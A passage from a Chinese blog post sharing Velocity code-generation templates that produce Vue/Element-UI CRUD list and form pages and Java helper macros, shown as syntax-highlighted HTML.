class="line">$(<span class="string">&quot;#jqGrid&quot;</span>).<span class="title function_">jqGrid</span>(<span class="string">&#x27;setGridParam&#x27;</span>,&#123; </span><br><span class="line">                <span class="attr">page</span>:page</span><br><span class="line">            &#125;).<span class="title function_">trigger</span>(<span class="string">&quot;reloadGrid&quot;</span>);</span><br><span class="line">&#125;,</span><br><span class="line">        <span class="attr">openLayer</span>: <span class="keyword">function</span>(<span class="params">ids, title</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> that = <span class="variable language_">this</span>;</span><br><span class="line">            that.<span class="property">isLayer</span> = <span class="literal">true</span>;</span><br><span class="line">            layer.<span class="title function_">open</span>(&#123;</span><br><span class="line">                <span class="attr">title</span>: title,</span><br><span class="line">                <span class="attr">type</span>: <span class="number">1</span>,</span><br><span class="line">                <span class="attr">area</span>: layerConf.<span class="property">area</span>,</span><br><span class="line">                <span class="attr">fix</span>: <span class="literal">false</span>, <span class="comment">//不固定</span></span><br><span class="line">                <span class="attr">maxmin</span>: <span class="literal">true</span>,</span><br><span class="line">                <span class="attr">offset</span>: layerConf.<span class="property">offset</span>,</span><br><span class="line">                <span class="attr">shade</span>: <span class="number">0.5</span>,</span><br><span class="line">                <span class="attr">shadeClose</span>: <span class="literal">false</span>,</span><br><span class="line">                <span class="attr">content</span>: <span class="title function_">jQuery</span>(ids),</span><br><span class="line">                <span class="attr">btn</span>: [<span class="string">&#x27;确定&#x27;</span>, <span class="string">&#x27;取消&#x27;</span>],</span><br><span class="line">                <span class="attr">btn1</span>: <span class="keyword">function</span>(<span class="params">index</span>) &#123; <span class="comment">//确定事件</span></span><br><span class="line">                   <span class="keyword">if</span> (vm.<span class="property">isClick</span>) &#123;</span><br><span class="line">vm.<span class="property">isClick</span> = <span class="literal">false</span>;</span><br><span class="line">vm.<span class="title function_">saveOrUpdate</span>(that.<span class="property">isLayer</span>, layer, index)</span><br><span class="line">&#125;</span><br><span class="line">                &#125;,</span><br><span class="line">                <span class="attr">btn2</span>: <span class="keyword">function</span>(<span class="params">index</span>) &#123; <span class="comment">//取消事件</span></span><br><span class="line">                    that.<span class="property">isLayer</span> = <span class="literal">false</span>;</span><br><span class="line">                    layer.<span class="title function_">close</span>(index);</span><br><span class="line">                    vm.<span class="title function_">reload</span>();</span><br><span class="line">                &#125;,</span><br><span class="line">                <span class="attr">success</span>: <span class="keyword">function</span>(<span class="params">layero, index</span>) &#123; <span class="comment">//打开事件</span></span><br><span class="line">                &#125;,</span><br><span class="line">                <span class="attr">end</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123; <span class="comment">//关闭事件</span></span><br><span class="line">vm.<span class="property">isClick</span> = <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;);</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">update</span>(<span class="params">$pk.name</span>) &#123;</span><br><span class="line">    vm.<span class="title function_">getInfo</span>($&#123;pk.<span class="property">name</span>&#125;)</span><br><span class="line">    vm.<span class="title function_">openLayer</span>(<span class="string">&quot;#addOrUpdateLayer&quot;</span>, <span class="string">&quot;修改&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">del</span>(<span class="params">$&#123;pk.name&#125;</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> $&#123;pk.<span class="property">name</span>&#125;s = [$&#123;pk.<span class="property">name</span>&#125;]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> confirmIndex = layer.<span class="title function_">confirm</span>(<span class="string">&#x27;确定要删除该记录？&#x27;</span>, <span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">        $.<span class="title function_">ajax</span>(&#123;</span><br><span class="line">            <span class="attr">type</span>: <span class="string">&quot;POST&quot;</span>,</span><br><span class="line">            <span class="attr">url</span>: <span class="title class_">ServerConfig</span>.<span class="property">baseURL</span> + <span class="string">&quot;/#if($tableApi)$tableApi#else$!tool.firstLowerCase($tableInfo.name)#end/delete&quot;</span>,</span><br><span class="line">            <span class="attr">contentType</span>: <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">            <span class="attr">data</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>($&#123;pk.<span class="property">name</span>&#125;s),</span><br><span class="line">            <span class="attr">success</span>: <span class="keyword">function</span>(<span class="params">r</span>)&#123;</span><br><span class="line">                <span class="keyword">if</span> (r.<span class="property">code</span> == <span class="number">200</span>) &#123;</span><br><span class="line">                    <span class="title function_">showSuccess</span>(<span class="string">&#x27;操作成功&#x27;</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">                        vm.<span class="title function_">reload</span>();</span><br><span class="line">                    &#125;)</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="title function_">showError</span>(layer,r.<span class="property">msg</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">                        layer.<span class="title function_">close</span>(confirmIndex);</span><br><span class="line">&#125;)</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>index.vue</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br></pre></td><td class="code"><pre><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置保存名称与保存位置</span><br><span class="line">$!callback.setFileName($tool.append($!&#123;tableInfo.name&#125;, &quot;.vue&quot;))</span><br><span class="line">$!callback.setSavePath($tool.append($modulePath, &quot;/src/main/resources/modules/$&#123;prefixPathPipe&#125;&quot;))</span><br><span class="line"></span><br><span class="line">##拿到主键</span><br><span class="line">#if(!$tableInfo.pkColumn.isEmpty())</span><br><span class="line">    #set($pk = $tableInfo.pkColumn.get(0))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div class=&quot;app-container&quot;&gt;</span><br><span class="line">    &lt;basic-container&gt;</span><br><span class="line">      &lt;el-form :inline=&quot;true&quot; :model=&quot;dataForm&quot; @keyup.enter.native=&quot;getDataList()&quot;&gt;</span><br><span class="line">        &lt;el-form-item&gt;</span><br><span class="line">          &lt;el-button v-if=&quot;hasPermission(&#x27;$&#123;tableAuth&#125;:save&#x27;)&quot; icon=&quot;el-icon-plus&quot; type=&quot;primary&quot; @click=&quot;addOrUpdateHandle()&quot;&gt;新增&lt;/el-button&gt;</span><br><span class="line">        &lt;/el-form-item&gt;</span><br><span class="line">      &lt;/el-form&gt;</span><br><span class="line"></span><br><span class="line">    &lt;el-table</span><br><span class="line">            :data=&quot;dataList&quot;</span><br><span class="line">            border</span><br><span class="line">            v-loading=&quot;dataListLoading&quot;&gt;</span><br><span class="line">      #foreach($column in $tableInfo.fullColumn)</span><br><span class="line">        &lt;el-table-column</span><br><span class="line">                prop=&quot;$&#123;column.name&#125;&quot;</span><br><span class="line">                header-align=&quot;center&quot;</span><br><span class="line">                align=&quot;center&quot;</span><br><span class="line">                label=&quot;$&#123;column.comment&#125;&quot;&gt;</span><br><span class="line">        &lt;/el-table-column&gt;</span><br><span class="line">      #end</span><br><span class="line">      &lt;el-table-column</span><br><span class="line">              header-align=&quot;center&quot;</span><br><span class="line">              align=&quot;center&quot;</span><br><span class="line">              label=&quot;操作&quot;&gt;</span><br><span class="line">        &lt;template slot-scope=&quot;scope&quot;&gt;</span><br><span class="line">          &lt;el-button v-if=&quot;hasPermission(&#x27;$&#123;tableAuth&#125;:update&#x27;)&quot; type=&quot;text&quot; size=&quot;small&quot; icon=&quot;el-icon-edit&quot; @click=&quot;addOrUpdateHandle(scope.row.$&#123;pk.name&#125;)&quot;&gt;修改&lt;/el-button&gt;</span><br><span class="line">          &lt;el-button v-if=&quot;hasPermission(&#x27;$&#123;tableAuth&#125;:delete&#x27;)&quot; type=&quot;text&quot; size=&quot;small&quot; icon=&quot;el-icon-delete&quot; @click=&quot;deleteHandle(scope.row.$&#123;pk.name&#125;)&quot;&gt;删除&lt;/el-button&gt;</span><br><span class="line">        &lt;/template&gt;</span><br><span class="line">      &lt;/el-table-column&gt;</span><br><span class="line">    &lt;/el-table&gt;</span><br><span class="line"></span><br><span class="line">      &lt;div class=&quot;gather_pagination&quot;&gt;</span><br><span class="line">      &lt;el-pagination</span><br><span class="line">        @size-change=&quot;sizeChangeHandle&quot;</span><br><span class="line">        @current-change=&quot;currentChangeHandle&quot;</span><br><span class="line">        :current-page=&quot;pageIndex&quot;</span><br><span class="line">        :page-sizes=&quot;[10, 20, 50, 100]&quot;</span><br><span class="line">        :page-size=&quot;pageSize&quot;</span><br><span class="line">        :total=&quot;totalPage&quot;</span><br><span class="line">        background</span><br><span class="line">        layout=&quot;total, sizes, prev, pager, next, jumper&quot;&gt;</span><br><span class="line">      &lt;/el-pagination&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">      &lt;!-- 弹窗, 新增 / 修改 --&gt;</span><br><span class="line">      &lt;table-form v-if=&quot;addOrUpdateVisible&quot; ref=&quot;addOrUpdate&quot; @refreshDataList=&quot;getDataList&quot;&gt;&lt;/table-form&gt;</span><br><span class="line">    &lt;/basic-container&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">  import &#123;fetchList, delObj&#125; from &#x27;@/api/$&#123;pathName&#125;&#x27;</span><br><span class="line">  import TableForm from &#x27;./$&#123;pathName&#125;-form&#x27;</span><br><span class="line">  import &#123;mapGetters&#125; from &#x27;vuex&#x27;</span><br><span class="line">  export default &#123;</span><br><span class="line">    data () &#123;</span><br><span class="line">      return &#123;</span><br><span class="line">        dataForm: &#123;</span><br><span class="line">          key: &#x27;&#x27;</span><br><span class="line">        &#125;,</span><br><span class="line">        dataList: [],</span><br><span class="line">        pageIndex: 1,</span><br><span class="line">        pageSize: 10,</span><br><span class="line">        totalPage: 0,</span><br><span class="line">        dataListLoading: false,</span><br><span class="line">        addOrUpdateVisible: false</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    components: &#123;</span><br><span class="line">      TableForm</span><br><span class="line">    &#125;,</span><br><span class="line">    created () &#123;</span><br><span class="line">      this.getDataList()</span><br><span class="line">    &#125;,</span><br><span class="line">    computed: &#123;</span><br><span class="line">      ...mapGetters([&#x27;permissions&#x27;])</span><br><span class="line">    &#125;,</span><br><span class="line">    methods: &#123;</span><br><span class="line">      // 获取数据列表</span><br><span class="line">      getDataList () &#123;</span><br><span class="line">        this.dataListLoading = true</span><br><span class="line">        fetchList(Object.assign(&#123;</span><br><span class="line">          current: this.pageIndex,</span><br><span class="line">          size: this.pageSize</span><br><span class="line">        &#125;)).then(response =&gt; &#123;</span><br><span class="line">          this.dataList = response.data.data.records</span><br><span class="line">          this.totalPage = response.data.data.total</span><br><span class="line">        &#125;)</span><br><span class="line">        this.dataListLoading = false</span><br><span class="line">      &#125;,</span><br><span class="line">      // 每页数</span><br><span class="line">      sizeChangeHandle (val) &#123;</span><br><span class="line">        this.pageSize = val</span><br><span class="line">        this.pageIndex = 1</span><br><span class="line">        this.getDataList()</span><br><span class="line">      &#125;,</span><br><span class="line">      // 当前页</span><br><span class="line">      currentChangeHandle (val) &#123;</span><br><span class="line">        this.pageIndex = val</span><br><span class="line">        this.getDataList()</span><br><span class="line">      &#125;,</span><br><span class="line">      // 新增 / 修改</span><br><span class="line">      addOrUpdateHandle (id) &#123;</span><br><span class="line">        this.addOrUpdateVisible = true</span><br><span class="line">        #[[this.$nextTick(() =&gt; &#123;]]#</span><br><span class="line">          this.$refs.addOrUpdate.init(id)</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;,</span><br><span class="line">      // 删除</span><br><span class="line">      deleteHandle (id) &#123;</span><br><span class="line">        this.$confirm(&#x27;是否确认删除ID为&#x27; + id, &#x27;提示&#x27;, &#123;</span><br><span class="line">          confirmButtonText: &#x27;确定&#x27;,</span><br><span class="line">          cancelButtonText: &#x27;取消&#x27;,</span><br><span class="line">          type: &#x27;warning&#x27;</span><br><span class="line">        &#125;).then(function () &#123;</span><br><span class="line">          return delObj(id)</span><br><span class="line">        &#125;).then(data =&gt; &#123;</span><br><span class="line">          this.$message.success(&#x27;删除成功&#x27;)</span><br><span class="line">          this.getDataList()</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>form.vue</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置保存名称与保存位置</span><br><span class="line">$!callback.setFileName($tool.append($!&#123;tableInfo.name&#125;, &quot;-form.vue&quot;))</span><br><span class="line">$!callback.setSavePath($tool.append($modulePath, &quot;/src/main/resources/modules/$&#123;prefixPathPipe&#125;&quot;))</span><br><span class="line"></span><br><span class="line">##拿到主键</span><br><span class="line">#if(!$tableInfo.pkColumn.isEmpty())</span><br><span class="line">    #set($pk = $tableInfo.pkColumn.get(0))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;el-dialog</span><br><span class="line">    :title=&quot;!dataForm.id ? &#x27;新增&#x27; : &#x27;修改&#x27;&quot;</span><br><span class="line">    :close-on-click-modal=&quot;false&quot;</span><br><span class="line">    :visible.sync=&quot;visible&quot;&gt;</span><br><span class="line">    &lt;el-form :model=&quot;dataForm&quot; :rules=&quot;dataRule&quot; ref=&quot;dataForm&quot; @keyup.enter.native=&quot;dataFormSubmit()&quot; label-width=&quot;80px&quot;&gt;</span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    #if($column.name != $pk.name)</span><br><span class="line">    &lt;el-form-item label=&quot;#if($&#123;column.comment&#125;)$&#123;column.comment&#125;#end&quot; prop=&quot;$&#123;column.name&#125;&quot;&gt;</span><br><span class="line">      &lt;el-input v-model=&quot;dataForm.$&#123;column.name&#125;&quot; placeholder=&quot;#if($&#123;column.comment&#125;)$&#123;column.comment&#125;#end&quot;&gt;&lt;/el-input&gt;</span><br><span class="line">    &lt;/el-form-item&gt;</span><br><span class="line">#end</span><br><span class="line">#end</span><br><span class="line">    &lt;/el-form&gt;</span><br><span class="line">    &lt;span slot=&quot;footer&quot; class=&quot;dialog-footer&quot;&gt;</span><br><span class="line">      &lt;el-button @click=&quot;visible = false&quot;&gt;取消&lt;/el-button&gt;</span><br><span class="line">      &lt;el-button type=&quot;primary&quot; @click=&quot;dataFormSubmit()&quot;&gt;确定&lt;/el-button&gt;</span><br><span class="line">    &lt;/span&gt;</span><br><span class="line">  &lt;/el-dialog&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">    import &#123;getObj, addObj, putObj&#125; from &#x27;@/api/$&#123;pathName&#125;&#x27;</span><br><span class="line"></span><br><span class="line">    export default &#123;</span><br><span class="line">    data () &#123;</span><br><span class="line">      return &#123;</span><br><span class="line">        visible: false,</span><br><span class="line">        dataForm: &#123;</span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    #if($column.name == $pk.name)</span><br><span class="line">        $&#123;column.name&#125;: 0,</span><br><span class="line">#else</span><br><span class="line">        $&#123;column.name&#125;: &#x27;&#x27;#if($velocityCount != $tableInfo.fullColumn.size()),#end</span><br><span class="line"></span><br><span class="line">    #end</span><br><span class="line">#end</span><br><span class="line">        &#125;,</span><br><span class="line">        dataRule: &#123;</span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    #if($column.name != $pk.name)</span><br><span class="line">        $&#123;column.name&#125;: [</span><br><span class="line">            &#123; required: true, message: &#x27;#if($&#123;column.comment&#125;)$&#123;column.comment&#125;#end 不能为空&#x27;, trigger: &#x27;blur&#x27; &#125;</span><br><span class="line">          ]#if($velocityCount != $tableInfo.fullColumn.size()),#end</span><br><span class="line"></span><br><span class="line">    #end</span><br><span class="line">#end</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    methods: &#123;</span><br><span class="line">      init (id) &#123;</span><br><span class="line">        this.dataForm.$&#123;pk.name&#125; = id || 0</span><br><span class="line">        this.visible = true</span><br><span class="line">        this.$nextTick(() =&gt; &#123;</span><br><span class="line">          this.$refs[&#x27;dataForm&#x27;].resetFields()</span><br><span class="line">          if (this.dataForm.$&#123;pk.name&#125;) &#123;</span><br><span class="line">            getObj(this.dataForm.$&#123;pk.name&#125;).then(response =&gt; &#123;</span><br><span class="line">                this.dataForm = response.data.data</span><br><span class="line">            &#125;)</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;,</span><br><span class="line">      // 表单提交</span><br><span class="line">      dataFormSubmit () &#123;</span><br><span class="line">        #[[this.$refs[&#x27;dataForm&#x27;].validate((valid) =&gt; &#123;]]#</span><br><span class="line">          if (valid) &#123;</span><br><span class="line">            if (this.dataForm.$&#123;pk.name&#125;) &#123;</span><br><span class="line">                putObj(this.dataForm).then(data =&gt; &#123;</span><br><span class="line">                    this.$message.success(&#x27;修改成功&#x27;)</span><br><span class="line">                    this.visible = false</span><br><span class="line">                    this.$emit(&#x27;refreshDataList&#x27;)</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">                addObj(this.dataForm).then(data =&gt; &#123;</span><br><span class="line">                    this.$message.success(&#x27;添加成功&#x27;)</span><br><span class="line">                    this.visible = false</span><br><span class="line">                    this.$emit(&#x27;refreshDataList&#x27;)</span><br><span class="line">                &#125;)</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Global config<br><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/6b43a251a28b71e7d457785b988eee82.png" alt="image-20220905132335215"></p><p>init</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">##初始化区域</span><br><span class="line"></span><br><span class="line">##去掉表的t_前缀</span><br><span class="line">$!tableInfo.setName($tool.getClassName($tableInfo.obj.name.replaceFirst(&quot;book_&quot;,&quot;&quot;)))</span><br><span class="line"></span><br><span class="line">##参考阿里巴巴开发手册，POJO 类中布尔类型的变量，都不要加 is 前缀，否则部分框架解析会引起序列化错误</span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">#if($column.name.startsWith(&quot;is&quot;) &amp;&amp; $column.type.equals(&quot;java.lang.Boolean&quot;))</span><br><span class="line">    $!column.setName($tool.firstLowerCase($column.name.substring(2)))</span><br><span class="line">#end</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##实现动态排除列</span><br><span class="line">#set($temp = $tool.newHashSet(&quot;testCreateTime&quot;, &quot;otherColumn&quot;))</span><br><span class="line">#foreach($item in $temp)</span><br><span class="line">    #set($newList = $tool.newArrayList())</span><br><span class="line">    #foreach($column in $tableInfo.fullColumn)</span><br><span class="line">        #if($column.name!=$item)</span><br><span class="line">            ##带有反回值的方法调用时使用$tool.call来消除返回值 ##带有反回值的方法调用时使用$tool.call来消除返回值</span><br><span class="line">            $tool.call($newList.add($column))</span><br><span class="line">        #end</span><br><span class="line">    #end</span><br><span class="line">    ##重新保存</span><br><span class="line">    $tableInfo.setFullColumn($newList)</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##对importList进行篡改</span><br><span class="line">#set($temp = $tool.newHashSet())</span><br><span class="line">#foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    #if(!$column.type.startsWith(&quot;java.lang.&quot;))</span><br><span class="line">        ##带有反回值的方法调用时使用$tool.call来消除返回值</span><br><span class="line">        $tool.call($temp.add($column.type))</span><br><span class="line">    #end</span><br><span class="line">#end</span><br><span class="line">##覆盖</span><br><span class="line">#set($importList = $temp)</span><br></pre></td></tr></table></figure><p>define</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">##（Velocity宏定义）</span><br><span class="line"></span><br><span class="line">##定义设置表名后缀的宏定义，调用方式：#setTableSuffix(&quot;Test&quot;)</span><br><span class="line">#macro(setTableSuffix $suffix)</span><br><span class="line">    #set($tableName = $!tool.append($tableInfo.name, $suffix))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##定义设置包名后缀的宏定义，调用方式：#setPackageSuffix(&quot;Test&quot;)</span><br><span class="line">#macro(setPackageSuffix $suffix)</span><br><span class="line">#if($suffix!=&quot;&quot;)package #end#if($tableInfo.savePackageName!=&quot;&quot;)$!&#123;tableInfo.savePackageName&#125;.#&#123;end&#125;$!suffix;</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##定义直接保存路径与文件名简化的宏定义，调用方式：#save(&quot;/entity&quot;, &quot;.java&quot;)</span><br><span class="line">#macro(save $path $fileName)</span><br><span class="line">    $!callback.setSavePath($tool.append($tableInfo.savePath, $path))</span><br><span class="line">    $!callback.setFileName($tool.append($tableInfo.name, $fileName))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##定义表注释的宏定义，调用方式：#tableComment(&quot;注释信息&quot;)</span><br><span class="line">#macro(tableComment $desc)</span><br><span class="line">/**</span><br><span class="line"> * $!&#123;tableInfo.comment&#125;($!&#123;tableInfo.obj.name&#125;)$desc</span><br><span class="line"> *</span><br><span class="line"> * @author $!author</span><br><span class="line"> * @since $!time.currTime()</span><br><span class="line"> */</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">##定义GET，SET方法的宏定义，调用方式：#getSetMethod($column)</span><br><span class="line">#macro(getSetMethod $column)</span><br><span class="line"></span><br><span class="line">    public $!&#123;tool.getClsNameByFullName($column.type)&#125; get$!&#123;tool.firstUpperCase($column.name)&#125;() &#123;</span><br><span class="line">        return $!&#123;column.name&#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void set$!&#123;tool.firstUpperCase($column.name)&#125;($!&#123;tool.getClsNameByFullName($column.type)&#125; $!&#123;column.name&#125;) &#123;</span><br><span class="line">        this.$!&#123;column.name&#125; = $!&#123;column.name&#125;;</span><br><span class="line">    &#125;</span><br><span class="line">#end</span><br></pre></td></tr></table></figure><p>autoimport</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span 